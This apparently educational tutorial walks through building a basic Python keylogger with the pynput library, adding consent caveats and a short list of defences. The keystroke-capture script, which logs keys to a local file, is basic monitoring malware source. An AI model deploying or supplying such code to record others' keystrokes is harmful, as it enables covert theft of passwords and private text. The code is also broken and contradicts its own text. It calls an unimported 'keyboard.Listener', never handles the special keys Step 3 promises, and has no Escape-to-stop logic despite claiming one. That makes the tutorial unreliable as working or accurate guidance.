
Keylogger

Introduction

A keylogger is an important tool in cybersecurity used to record keystrokes on a computer. This type of monitoring software has legitimate uses such as parental control and employee monitoring. However, it is also a tool that malicious actors can use to gain unauthorized access to sensitive information. In this project, we will build a simple keylogger in Python for educational purposes to understand how keyloggers work and how to defend against them.

Objectives

- Create a basic keylogger using Python.
- Understand the ethical implications and use it responsibly.
- Learn how to detect and defend against keyloggers.

Requirements

- Basic understanding of Python programming.
- Familiarity with the pynput library.
- A system running Python 3.x.

Step-by-Step Guide

Step 1: Environment Setup

Before starting, ensure that Python is installed on your system. You will also need to install the pynput library to monitor keyboard events:

```
pip install pynput
```

Step 2: Creating the Keylogger Script

Create a new Python file `keylogger.py` and open it in your favorite text editor.

```
from pynput.keyboard import Listener
```

```
def keyPressed(key):
    print(str(key))
    with open("keyfile.txt", 'a') as logkey:
        try:
            char = key.char
            logkey.write(char)
        except:
            print("An error occurred")
```

Step 3: Handling Special Keys

Modify the `on_press` function to handle special keys (space, enter, etc.).

```
if __name__ == "__main__":
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()
```

Step 4: Testing the Keylogger

Run the keylogger script to start recording keystrokes:

```
python keylogger.py
```

Press various keys to test the functionality. To stop the program, press the escape key.

Final Thoughts

Use this keylogger for educational purposes only and do not use it for malicious purposes. Always obtain explicit consent before running a keylogger on someone else's machine.

Detection and Defense Against Keyloggers

- Regularly update your operating system and security software.
- Use antivirus and anti-malware programs that can detect keyloggers.
- Check running processes for unfamiliar programs.

This project provides insight into how keyloggers work and why strong cybersecurity measures are important. Use this knowledge responsibly and always adhere to ethical practices.
